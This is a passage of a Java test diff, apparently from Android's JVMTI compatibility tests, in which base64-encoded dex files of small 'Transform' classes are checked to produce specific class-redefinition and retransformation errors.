+                    "AABzAQAAdgEAAH4BAACCAQAAiAEAAJABAACvAQAA5QEAABwCAABUAgAAggIAAKYCAADGAgAA5QIA" +
+                    "APkCAAAPAwAAIwMAACoDAAA1AwAAOAMAADwDAABJAwAATwMAAFkDAABgAwAACAAAAAkAAAAKAAAA" +
+                    "CwAAAAwAAAANAAAADgAAAA8AAAATAAAAEwAAAAgAAAAAAAAAFAAAAAgAAABoAwAAFAAAAAgAAABw" +
+                    "AwAAAQAAABcAAAABAAEAAgAAAAEAAAAFAAAAAQAAABEAAAABAAIAGAAAAAYAAAACAAAAAQAAAAAA" +
+                    "AAAGAAAAAAAAAAYAAABMBAAA6AMAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAGRmluaXNo" +
+                    "AB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRp" +
+                    "UmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVk" +
+                    "ZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsANkxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVm" +
+                    "aW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtOwAsTGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVkZWZp" +
+                    "bmVDbGFzc2VzVGVzdDsAIkxkYWx2aWsvYW5ub3RhdGlvbi9FbmNsb3NpbmdDbGFzczsAHkxkYWx2" +
+                    "aWsvYW5ub3RhdGlvbi9Jbm5lckNsYXNzOwAdTGRhbHZpay9hbm5vdGF0aW9uL1NpZ25hdHVyZTsA" +
+                    "EkxqYXZhL2xhbmcvT2JqZWN0OwAUTGphdmEvbGFuZy9SdW5uYWJsZTsAEkxqYXZhL2xhbmcvU3Ry" +
+                    "aW5nOwAFU3RhcnQACVRyYW5zZm9ybQABVgACVkwAC2FjY2Vzc0ZsYWdzAARuYW1lAAhyZXBvcnRl" +
+                    "cgAFc2F5SGkABXZhbHVlAAABAAAAAAAAAAEAAAAHAAAACwEABw48LQARAAcOAA8ABw4AEwEABw4A" +
+                    "AgACAAEAAAB4AwAABgAAAHAQBAAAAFsBAAAOAAEAAQAAAAAAgAMAAAEAAAAOAAAAAQABAAAAAACF" +
+                    "AwAAAQAAAA4AAAACAAIAAAAAAIoDAAABAAAADgAAAAABAwEAAgCBgASQBwECrAcBAsAHAwTUBwID" +
+                    "ARkYAgIEAhUECBYXEgIFARkcBBcHFwEXEBcDAgUBGRwFFwAXBxcBFxAXBAAAAAIAAAAABAAABgQA" +
+                    "AAEAAAAPBAAAAQAAAB0EAAAwBAAAAQAAAAEAAAAAAAAAAAAAADwEAAAAAAAARAQAABAAAAAAAAAA" +
+                    "AQAAAAAAAAABAAAAGgAAAHAAAAACAAAACQAAANgAAAADAAAAAwAAAPwAAAAEAAAAAQAAACABAAAF" +
+                    "AAAABQAAACgBAAAGAAAAAQAAAFABAAACIAAAGgAAAHABAAABEAAAAgAAAGgDAAADIAAABAAAAHgD" +
+                    "AAABIAAABAAAAJADAAAAIAAAAQAAAOgDAAAEIAAABAAAAAAEAAADEAAAAwAAADAEAAAGIAAAAQAA" +
+                    "AEwEAAAAEAAAAQAAAGwEAAA="),
+            /**
+             * Base64 for this class.
+             *
+             *  static final class Transform {
+             *    private Consumer<String> reporter;
+             *    public Transform(Consumer<String> reporter) {
+             *      this.reporter = reporter;
+             *    }
+             *    private void Start() { }
+             *    private void Finish() { }
+             *    public void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.UNSUPPORTED_REDEFINITION_CLASS_MODIFIERS_CHANGED, Transform.class,
+                    "ZGV4CjAzNQA82MAwAAAAAAAAAAAAAAAAAAAAAAAAAAAwBQAAcAAAAHhWNBIAAAAAAAAAAGwEAAAa" +
+                    "AAAAcAAAAAkAAADYAAAAAwAAAPwAAAABAAAAIAEAAAUAAAAoAQAAAQAAAFABAADAAwAAcAEAAHAB" +
+                    "AABzAQAAdgEAAH4BAACCAQAAiAEAAJABAACvAQAA5QEAABwCAABUAgAAggIAAKYCAADGAgAA5QIA" +
+                    "APkCAAAPAwAAIwMAACoDAAA1AwAAOAMAADwDAABJAwAATwMAAFkDAABgAwAACAAAAAkAAAAKAAAA" +
+                    "CwAAAAwAAAANAAAADgAAAA8AAAATAAAAEwAAAAgAAAAAAAAAFAAAAAgAAABoAwAAFAAAAAgAAABw" +
+                    "AwAAAQAAABcAAAABAAEAAgAAAAEAAAAFAAAAAQAAABEAAAABAAIAGAAAAAYAAAACAAAAAQAAABAA" +
+                    "AAAGAAAAAAAAAAYAAABMBAAA6AMAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAGRmluaXNo" +
+                    "AB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRp" +
+                    "UmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVk" +
+                    "ZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsANkxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVm" +
+                    "aW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtOwAsTGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVkZWZp" +
+                    "bmVDbGFzc2VzVGVzdDsAIkxkYWx2aWsvYW5ub3RhdGlvbi9FbmNsb3NpbmdDbGFzczsAHkxkYWx2" +
+                    "aWsvYW5ub3RhdGlvbi9Jbm5lckNsYXNzOwAdTGRhbHZpay9hbm5vdGF0aW9uL1NpZ25hdHVyZTsA" +
+                    "EkxqYXZhL2xhbmcvT2JqZWN0OwAUTGphdmEvbGFuZy9SdW5uYWJsZTsAEkxqYXZhL2xhbmcvU3Ry" +
+                    "aW5nOwAFU3RhcnQACVRyYW5zZm9ybQABVgACVkwAC2FjY2Vzc0ZsYWdzAARuYW1lAAhyZXBvcnRl" +
+                    "cgAFc2F5SGkABXZhbHVlAAABAAAAAAAAAAEAAAAHAAAACwEABw48LQARAAcOAA8ABw4AEwEABw4A" +
+                    "AgACAAEAAAB4AwAABgAAAHAQBAAAAFsBAAAOAAEAAQAAAAAAgAMAAAEAAAAOAAAAAQABAAAAAACF" +
+                    "AwAAAQAAAA4AAAACAAIAAAAAAIoDAAABAAAADgAAAAABAwEAAgCBgASQBwECrAcBAsAHAwHUBwID" +
+                    "ARkYAgIEAhUEGBYXEgIFARkcBBcHFwEXEBcDAgUBGRwFFwAXBxcBFxAXBAAAAAIAAAAABAAABgQA" +
+                    "AAEAAAAPBAAAAQAAAB0EAAAwBAAAAQAAAAEAAAAAAAAAAAAAADwEAAAAAAAARAQAABAAAAAAAAAA" +
+                    "AQAAAAAAAAABAAAAGgAAAHAAAAACAAAACQAAANgAAAADAAAAAwAAAPwAAAAEAAAAAQAAACABAAAF" +
+                    "AAAABQAAACgBAAAGAAAAAQAAAFABAAACIAAAGgAAAHABAAABEAAAAgAAAGgDAAADIAAABAAAAHgD" +
+                    "AAABIAAABAAAAJADAAAAIAAAAQAAAOgDAAAEIAAABAAAAAAEAAADEAAAAwAAADAEAAAGIAAAAQAA" +
+                    "AEwEAAAAEAAAAQAAAGwEAAA="),
+            /**
+             * Base64 for this class.
+             *
+             *  static class Transform {
+             *    private Consumer<String> reporter;
+             *    public Transform(Consumer<String> reporter) {
+             *      this.reporter = reporter;
+             *    }
+             *    private void Finish() { }
+             *    public void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.UNSUPPORTED_REDEFINITION_METHOD_DELETED, Transform.class,
+                    "ZGV4CjAzNQBG028hAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAcAAAAHhWNBIAAAAAAAAAADwEAAAZ" +
+                    "AAAAcAAAAAkAAADUAAAAAwAAAPgAAAABAAAAHAEAAAQAAAAkAQAAAQAAAEQBAACcAwAAZAEAAGQB" +
+                    "AABnAQAAagEAAHIBAAB2AQAAfAEAAJsBAADRAQAACAIAAEACAABuAgAAkgIAALICAADRAgAA5QIA" +
+                    "APsCAAAPAwAAFgMAACEDAAAkAwAAKAMAADUDAAA7AwAARQMAAEwDAAAHAAAACAAAAAkAAAAKAAAA" +
+                    "CwAAAAwAAAANAAAADgAAABIAAAASAAAACAAAAAAAAAATAAAACAAAAFQDAAATAAAACAAAAFwDAAAB" +
+                    "AAAAFgAAAAEAAQACAAAAAQAAABAAAAABAAIAFwAAAAYAAAACAAAAAQAAAAAAAAAGAAAAAAAAAAUA" +
+                    "AAAcBAAAvAMAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAdSnZtdGlSZWRlZmluZUNsYXNz" +
+                    "ZXNUZXN0LmphdmEANExhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3Qk" +
+                    "Q29uc3VtZXIANUxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QkQ29u" +
+                    "c3VtZXI7ADZMYW5kcm9pZC9qdm10aS9jdHMvSnZtdGlSZWRlZmluZUNsYXNzZXNUZXN0JFRyYW5z" +
+                    "Zm9ybTsALExhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3Q7ACJMZGFs" +
+                    "dmlrL2Fubm90YXRpb24vRW5jbG9zaW5nQ2xhc3M7AB5MZGFsdmlrL2Fubm90YXRpb24vSW5uZXJD" +
+                    "bGFzczsAHUxkYWx2aWsvYW5ub3RhdGlvbi9TaWduYXR1cmU7ABJMamF2YS9sYW5nL09iamVjdDsA" +
+                    "FExqYXZhL2xhbmcvUnVubmFibGU7ABJMamF2YS9sYW5nL1N0cmluZzsABVN0YXJ0AAlUcmFuc2Zv" +
+                    "cm0AAVYAAlZMAAthY2Nlc3NGbGFncwAEbmFtZQAIcmVwb3J0ZXIABXNheUhpAAV2YWx1ZQAAAQAA" +
+                    "AAAAAAABAAAABwAAAA0BAAcOAA4ABw4AEAEABw4AAAAAAgACAAEAAABkAwAABgAAAHAQAwAAAFsB" +
+                    "AAAOAAEAAQAAAAAAagMAAAEAAAAOAAAAAgACAAAAAABvAwAAAQAAAA4AAAAAAQIBAAIAgYAE+AYB" +
+                    "ApQHAgGoBwIDARgYAgIEAhQECBUXEQIFARgcBBcGFwEXDxcDAgUBGBwFFwAXBhcBFw8XBAAAAAIA" +
+                    "AADQAwAA1gMAAAEAAADfAwAAAQAAAO0DAAAABAAAAQAAAAEAAAAAAAAAAAAAAAwEAAAAAAAAFAQA" +
+                    "ABAAAAAAAAAAAQAAAAAAAAABAAAAGQAAAHAAAAACAAAACQAAANQAAAADAAAAAwAAAPgAAAAEAAAA" +
+                    "AQAAABwBAAAFAAAABAAAACQBAAAGAAAAAQAAAEQBAAACIAAAGQAAAGQBAAABEAAAAgAAAFQDAAAD" +
+                    "IAAAAwAAAGQDAAABIAAAAwAAAHgDAAAAIAAAAQAAALwDAAAEIAAABAAAANADAAADEAAAAwAAAAAE" +
+                    "AAAGIAAAAQAAABwEAAAAEAAAAQAAADwEAAA="),
+            /**
+             * Base6is class.
+             *
+             *  static class Transform {
+             *    private Consumer<String> reporter;
+             *    public Transform(Consumer<String> reporter) {
+             *      this.reporter = reporter;
+             *    }
+             *    private void Start() { }
+             *    private void Start2() { }
+             *    private void Finish() { }
+             *    public void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.UNSUPPORTED_REDEFINITION_METHOD_ADDED, Transform.class,
+                    "ZGV4CjAzNQC43HElAAAAAAAAAAAAAAAAAAAAAAAAAABgBQAAcAAAAHhWNBIAAAAAAAAAAJwEAAAb" +
+                    "AAAAcAAAAAkAAADcAAAAAwAAAAABAAABAAAAJAEAAAYAAAAsAQAAAQAAAFwBAADkAwAAfAEAAHwB" +
+                    "AAB/AQAAggEAAIoBAACOAQAAlAEAAJwBAAC7AQAA8QEAACgCAABgAgAAjgIAALICAADSAgAA8QIA" +
+                    "AAUDAAAbAwAALwMAADYDAAA+AwAASQMAAEwDAABQAwAAXQMAAGMDAABtAwAAdAMAAAgAAAAJAAAA" +
+                    "CgAAAAsAAAAMAAAADQAAAA4AAAAPAAAAFAAAABQAAAAIAAAAAAAAABUAAAAIAAAAfAMAABUAAAAI" +
+                    "AAAAhAMAAAEAAAAYAAAAAQABAAIAAAABAAAABQAAAAEAAAARAAAAAQAAABIAAAABAAIAGQAAAAYA" +
+                    "AAACAAAAAQAAAAAAAAAGAAAAAAAAAAYAAAB8BAAAFAQAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAE" +
+                    "PjspVgAGRmluaXNoAB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZt" +
+                    "dGkvY3RzL0p2bXRpUmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkv" +
+                    "Y3RzL0p2bXRpUmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsANkxhbmRyb2lkL2p2bXRpL2N0" +
+                    "cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtOwAsTGFuZHJvaWQvanZtdGkvY3Rz" +
+                    "L0p2bXRpUmVkZWZpbmVDbGFzc2VzVGVzdDsAIkxkYWx2aWsvYW5ub3RhdGlvbi9FbmNsb3NpbmdD" +
+                    "bGFzczsAHkxkYWx2aWsvYW5ub3RhdGlvbi9Jbm5lckNsYXNzOwAdTGRhbHZpay9hbm5vdGF0aW9u" +
+                    "L1NpZ25hdHVyZTsAEkxqYXZhL2xhbmcvT2JqZWN0OwAUTGphdmEvbGFuZy9SdW5uYWJsZTsAEkxq" +
+                    "YXZhL2xhbmcvU3RyaW5nOwAFU3RhcnQABlN0YXJ0MgAJVHJhbnNmb3JtAAFWAAJWTAALYWNjZXNz" +
+                    "RmxhZ3MABG5hbWUACHJlcG9ydGVyAAVzYXlIaQAFdmFsdWUAAAEAAAAAAAAAAQAAAAcAAAANAQAH" +
+                    "DgAQAAcOAA4ABw4ADwAHDgARAQAHDgAAAgACAAEAAACMAwAABgAAAHAQBQAAAFsBAAAOAAEAAQAA" +
+                    "AAAAkgMAAAEAAAAOAAAAAQABAAAAAACXAwAAAQAAAA4AAAABAAEAAAAAAJwDAAABAAAADgAAAAIA" +
+                    "AgAAAAAAoQMAAAEAAAAOAAAAAAEEAQACAIGABKgHAQLEBwEC2AcBAuwHBAGACAIDARoYAgIEAhYE" +
+                    "CBcXEwIFARocBBcHFwEXEBcDAgUBGhwFFwAXBxcBFxAXBAAAAAIAAAAwBAAANgQAAAEAAAA/BAAA" +
+                    "AQAAAE0EAABgBAAAAQAAAAEAAAAAAAAAAAAAAGwEAAAAAAAAdAQAABAAAAAAAAAAAQAAAAAAAAAB" +
+                    "AAAAGwAAAHAAAAACAAAACQAAANwAAAADAAAAAwAAAAABAAAEAAAAAQAAACQBAAAFAAAABgAAACwB" +
+                    "AAAGAAAAAQAAAFwBAAACIAAAGwAAAHwBAAABEAAAAgAAAHwDAAADIAAABQAAAIwDAAABIAAABQAA" +
+                    "AKgDAAAAIAAAAQAAABQEAAAEIAAABAAAADAEAAADEAAAAwAAAGAEAAAGIAAAAQAAAHwEAAAAEAAA" +
+                    "AQAAAJwEAAA="),
+            /**
+             * Base64 for this class.
+             *
+             *  static class Transform {
+             *    public Transform(Consumer<String> reporter) { }
+             *    private void Start() { }
+             *    private void Finish() { }
+             *    public void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.UNSUPPORTED_REDEFINITION_SCHEMA_CHANGED, Transform.class,
+                    "ZGV4CjAzNQCn0K9/AAAAAAAAAAAAAAAAAAAAAAAAAADkBAAAcAAAAHhWNBIAAAAAAAAAACwEAAAY" +
+                    "AAAAcAAAAAkAAADQAAAAAwAAAPQAAAAAAAAAAAAAAAUAAAAYAQAAAQAAAEABAACEAwAAYAEAAGAB" +
+                    "AABjAQAAZgEAAG4BAAB0AQAAfAEAAJsBAADRAQAACAIAAEACAABuAgAAkgIAALICAADRAgAA5QIA" +
+                    "APsCAAAPAwAAFgMAACEDAAAkAwAAKAMAADUDAAA7AwAAQgMAAAcAAAAIAAAACQAAAAoAAAALAAAA" +
+                    "DAAAAA0AAAAOAAAAEgAAABIAAAAIAAAAAAAAABMAAAAIAAAATAMAABMAAAAIAAAAVAMAAAEAAQAC" +
+                    "AAAAAQAAAAQAAAABAAAAEAAAAAEAAgAWAAAABgAAAAIAAAABAAAAAAAAAAYAAAAAAAAABQAAABQE" +
+                    "AADIAwAAAAAAAAEoAAE8AAY8aW5pdD4ABD47KVYABkZpbmlzaAAdSnZtdGlSZWRlZmluZUNsYXNz" +
+                    "ZXNUZXN0LmphdmEANExhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3Qk" +
+                    "Q29uc3VtZXIANUxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QkQ29u" +
+                    "c3VtZXI7ADZMYW5kcm9pZC9qdm10aS9jdHMvSnZtdGlSZWRlZmluZUNsYXNzZXNUZXN0JFRyYW5z" +
+                    "Zm9ybTsALExhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3Q7ACJMZGFs" +
+                    "dmlrL2Fubm90YXRpb24vRW5jbG9zaW5nQ2xhc3M7AB5MZGFsdmlrL2Fubm90YXRpb24vSW5uZXJD" +
+                    "bGFzczsAHUxkYWx2aWsvYW5ub3RhdGlvbi9TaWduYXR1cmU7ABJMamF2YS9sYW5nL09iamVjdDsA" +
+                    "FExqYXZhL2xhbmcvUnVubmFibGU7ABJMamF2YS9sYW5nL1N0cmluZzsABVN0YXJ0AAlUcmFuc2Zv" +
+                    "cm0AAVYAAlZMAAthY2Nlc3NGbGFncwAEbmFtZQAFc2F5SGkABXZhbHVlAAAAAAEAAAAAAAAAAQAA" +
+                    "AAcAAAAMAQAHDgAOAAcOAA0ABw4ADwEABw4AAAACAAIAAQAAAFwDAAAEAAAAcBAEAAAADgABAAEA" +
+                    "AAAAAGIDAAABAAAADgAAAAEAAQAAAAAAZwMAAAEAAAAOAAAAAgACAAAAAABsAwAAAQAAAA4AAAAA" +
+                    "AAMBAIGABPQGAQKMBwECoAcDAbQHAAACAwEXGAICBAIUBAgVFxECBQEXHAUXABcGFwEXDxcDAAIA" +
+                    "AADgAwAA5gMAAAEAAADvAwAAAAQAAAAAAAABAAAAAAAAAAAAAAAMBAAADwAAAAAAAAABAAAAAAAA" +
+                    "AAEAAAAYAAAAcAAAAAIAAAAJAAAA0AAAAAMAAAADAAAA9AAAAAUAAAAFAAAAGAEAAAYAAAABAAAA" +
+                    "QAEAAAIgAAAYAAAAYAEAAAEQAAACAAAATAMAAAMgAAAEAAAAXAMAAAEgAAAEAAAAdAMAAAAgAAAB" +
+                    "AAAAyAMAAAQgAAADAAAA4AMAAAMQAAACAAAAAAQAAAYgAAABAAAAFAQAAAAQAAABAAAALAQAAA=="),
+            /**
+             * Base64 for this class.
+             *
+             *  static class Transform3 {
+             *      // NB This field has type Landroid/jvmti/cts/JvmtiRedefineClassesTest$Consumer;
+             *      private Consumer<String> reporter;
+             *      public Transform3(Consumer<String> reporter) { this.reporter = reporter; }
+             *      private void Start() { }
+             *      private void Finish() { }
+             *      public void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.NAMES_DONT_MATCH, Transform.class,
+                    "ZGV4CjAzNQCc2B3nAAAAAAAAAAAAAAAAAAAAAAAAAAA0BQAAcAAAAHhWNBIAAAAAAAAAAHAEAAAa" +
+                    "AAAAcAAAAAkAAADYAAAAAwAAAPwAAAABAAAAIAEAAAUAAAAoAQAAAQAAAFABAADEAwAAcAEAAHAB" +
+                    "AABzAQAAdgEAAH4BAACCAQAAiAEAAJABAACvAQAA5QEAABwCAABVAgAAgwIAAKcCAADHAgAA5gIA" +
+                    "APoCAAAQAwAAJAMAACsDAAA3AwAAOgMAAD4DAABLAwAAUQMAAFsDAABiAwAACAAAAAkAAAAKAAAA" +
+                    "CwAAAAwAAAANAAAADgAAAA8AAAATAAAAEwAAAAgAAAAAAAAAFAAAAAgAAABsAwAAFAAAAAgAAAB0" +
+                    "AwAAAQAAABcAAAABAAEAAgAAAAEAAAAFAAAAAQAAABEAAAABAAIAGAAAAAYAAAACAAAAAQAAAAAA" +
+                    "AAAGAAAAAAAAAAYAAABQBAAA7AMAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAGRmluaXNo" +
+                    "AB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRp" +
+                    "UmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVk" +
+                    "ZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsAN0xhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVm" +
+                    "aW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtMzsALExhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVm" +
+                    "aW5lQ2xhc3Nlc1Rlc3Q7ACJMZGFsdmlrL2Fubm90YXRpb24vRW5jbG9zaW5nQ2xhc3M7AB5MZGFs" +
+                    "dmlrL2Fubm90YXRpb24vSW5uZXJDbGFzczsAHUxkYWx2aWsvYW5ub3RhdGlvbi9TaWduYXR1cmU7" +
+                    "ABJMamF2YS9sYW5nL09iamVjdDsAFExqYXZhL2xhbmcvUnVubmFibGU7ABJMamF2YS9sYW5nL1N0" +
+                    "cmluZzsABVN0YXJ0AApUcmFuc2Zvcm0zAAFWAAJWTAALYWNjZXNzRmxhZ3MABG5hbWUACHJlcG9y" +
+                    "dGVyAAVzYXlIaQAFdmFsdWUAAAAAAQAAAAAAAAABAAAABwAAAAwBAAcOAA4ABw4ADQAHDgAPAQAH" +
+                    "DgAAAAIAAgABAAAAfAMAAAYAAABwEAQAAABbAQAADgABAAEAAAAAAIIDAAABAAAADgAAAAEAAQAA" +
+                    "AAAAhwMAAAEAAAAOAAAAAgACAAAAAACMAwAAAQAAAA4AAAAAAQMBAAIAgYAElAcBArAHAQLEBwMB" +
+                    "2AcCAwEZGAICBAIVBAgWFxICBQEZHAQXBxcBFxAXAwIFARkcBRcAFwcXARcQFwQAAAACAAAABAQA" +
+                    "AAoEAAABAAAAEwQAAAEAAAAhBAAANAQAAAEAAAABAAAAAAAAAAAAAABABAAAAAAAAEgEAAAQAAAA" +
+                    "AAAAAAEAAAAAAAAAAQAAABoAAABwAAAAAgAAAAkAAADYAAAAAwAAAAMAAAD8AAAABAAAAAEAAAAg" +
+                    "AQAABQAAAAUAAAAoAQAABgAAAAEAAABQAQAAAiAAABoAAABwAQAAARAAAAIAAABsAwAAAyAAAAQA" +
+                    "AAB8AwAAASAAAAQAAACUAwAAACAAAAEAAADsAwAABCAAAAQAAAAEBAAAAxAAAAMAAAA0BAAABiAA" +
+                    "AAEAAABQBAAAABAAAAEAAABwBAAA"),
+            /**
+             * Base64 for this class.
+             *
+             *  static class Transform extends Observable {
+             *      // NB This field has type Landroid/jvmti/cts/JvmtiRedefineClassesTest$Consumer;
+             *      private Consumer<String> reporter;
+             *      public Transform(Consumer<String> reporter) { super(); this.reporter = reporter; }
+             *      private void Start() { }
+             *      private void Finish() { }
+             *      public void sayHi(Runnable r) { }
+             *  }
+            */
+            new RedefineError(
+                    JvmtiErrors.UNSUPPORTED_REDEFINITION_HIERARCHY_CHANGED, Transform.class,
+                    "ZGV4CjAzNQAV2qEZAAAAAAAAAAAAAAAAAAAAAAAAAAA0BQAAcAAAAHhWNBIAAAAAAAAAAHAEAAAa" +
+                    "AAAAcAAAAAkAAADYAAAAAwAAAPwAAAABAAAAIAEAAAUAAAAoAQAAAQAAAFABAADEAwAAcAEAAHAB" +
+                    "AABzAQAAdgEAAH4BAACCAQAAiAEAAJABAACvAQAA5QEAABwCAABUAgAAggIAAKYCAADGAgAA5QIA" +
+                    "APsCAAAPAwAAJwMAAC4DAAA5AwAAPAMAAEADAABNAwAAUwMAAF0DAABkAwAACAAAAAkAAAAKAAAA" +
+                    "CwAAAAwAAAANAAAADgAAABAAAAATAAAAEwAAAAgAAAAAAAAAFAAAAAgAAABsAwAAFAAAAAgAAAB0" +
+                    "AwAAAQAAABcAAAABAAEAAgAAAAEAAAAFAAAAAQAAABEAAAABAAIAGAAAAAcAAAACAAAAAQAAAAAA" +
+                    "AAAHAAAAAAAAAAYAAABQBAAA7AMAAAAAAAABKAABPAAGPGluaXQ+AAI+OwAEPjspVgAGRmluaXNo" +
+                    "AB1Kdm10aVJlZGVmaW5lQ2xhc3Nlc1Rlc3QuamF2YQA0TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRp" +
+                    "UmVkZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcgA1TGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVk" +
+                    "ZWZpbmVDbGFzc2VzVGVzdCRDb25zdW1lcjsANkxhbmRyb2lkL2p2bXRpL2N0cy9Kdm10aVJlZGVm" +
+                    "aW5lQ2xhc3Nlc1Rlc3QkVHJhbnNmb3JtOwAsTGFuZHJvaWQvanZtdGkvY3RzL0p2bXRpUmVkZWZp" +
+                    "bmVDbGFzc2VzVGVzdDsAIkxkYWx2aWsvYW5ub3RhdGlvbi9FbmNsb3NpbmdDbGFzczsAHkxkYWx2" +
+                    "aWsvYW5ub3RhdGlvbi9Jbm5lckNsYXNzOwAdTGRhbHZpay9hbm5vdGF0aW9uL1NpZ25hdHVyZTsA" +
+                    "FExqYXZhL2xhbmcvUnVubmFibGU7ABJMamF2YS9sYW5nL1N0cmluZzsAFkxqYXZhL3V0aWwvT2Jz" +
+                    "ZXJ2YWJsZTsABVN0YXJ0AAlUcmFuc2Zvcm0AAVYAAlZMAAthY2Nlc3NGbGFncwAEbmFtZQAIcmVw" +
+                    "b3J0ZXIABXNheUhpAAV2YWx1ZQAAAQAAAAAAAAABAAAABgAAAA0BAAcOAA8ABw4ADgAHDgAQAQAH" +
+                    "DgAAAAIAAgABAAAAfAMAAAYAAABwEAQAAABbAQAADgABAAEAAAAAAIIDAAABAAAADgAAAAEAAQAA" +
+                    "AAAAhwMAAAEAAAAOAAAAAgACAAAAAACMAwAAAQAAAA4AAAAAAQMBAAIAgYAElAcBArAHAQLEBwMB" +
+                    "2AcCAwEZGAICBAIVBAgWFxICBQEZHAQXBxcBFw8XAwIFARkcBRcAFwcXARcPFwQAAAACAAAABAQA" +
+                    "AAoEAAABAAAAEwQAAAEAAAAhBAAANAQAAAEAAAABAAAAAAAAAAAAAABABAAAAAAAAEgEAAAQAAAA" +
+                    "AAAAAAEAAAAAAAAAAQAAABoAAABwAAAAAgAAAAkAAADYAAAAAwAAAAMAAAD8AAAABAAAAAEAAAAg" +
+                    "AQAABQAAAAUAAAAoAQAABgAAAAEAAABQAQAAAiAAABoAAABwAQAAARAAAAIAAABsAwAAAyAAAAQA" +
+                    "AAB8AwAAASAAAAQAAACUAwAAACAAAAEAAADsAwAABCAAAAQAAAAEBAAAAxAAAAMAAAA0BAAABiAA" +
+                    "AAEAAABQBAAAABAAAAEAAABwBAAA"),
+            /**
+             * Array classes are never modifiable.
+             *
+             * The base64 data is just an empty dex file. It has no classes associated with it.
+            */
+            new RedefineError(JvmtiErrors.UNMODIFIABLE_CLASS, Transform[].class,
+                    "ZGV4CjAzNQCRAy8PAAAAAAAAAAAAAAAAAAAAAAAAAACMAAAAcAAAAHhWNBIAAAAAAAAAAHAAAAAA" +
+                    "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAcAAAAAIA" +
+                    "AAAAAAAAAQAAAAAAAAAAEAAAAQAAAHAAAAA="),
+    };
+
+    @Test
+    public void testRedefineFailures() throws Exception {
+        // Just check each of the failing tests.
+        for (RedefineError e : FAILING_DEX_FILES) {
+            checkRedefinition(e);
+        }
+    }
+
+    private void checkRetransformation(RedefineError e) {
+        clearTransformations();
+        pushTransformationResult(e.target, e.dexData);
+        assertEquals(e.expectedError, retransformClass(e.target));
+    }
+
+    @Test
+    public void testRetransformFailures() throws Exception {
+        setTransformationEvent(true);
+        setPopTransformations(true);
+        for (RedefineError e : FAILING_DEX_FILES) {
+            checkRetransformation(e);
+        }
+    }
+
+    private static final String ONLOAD_TEST_CLASS_NAME =
+            "android.jvmti.cts.memory_dex.TransformTarget";
+    /**
+     * Base64 encoded version of the following class.
+     * package android.jvmti.cts.memory_dex;
+     * <p>
+     * public class TransformTarget {
+     * public void alpha() { }
+     * public void beta() { }
+     * }
+     */
+    private static final byte[] ONLOAD_INITIAL_CLASS = Base64.getDecoder().decode(
+            "ZGV4CjAzNQAQT37mO0bz7SniP0I8RLnGvVsfM5ybXmdYAgAAcAAAAHhWNBIAAAAAAAAAANABAAAI" +
+            "AAAAcAAAAAMAAACQAAAAAQAAAJwAAAAAAAAAAAAAAAQAAACoAAAAAQAAAMgAAABwAQAA6AAAACgB" +
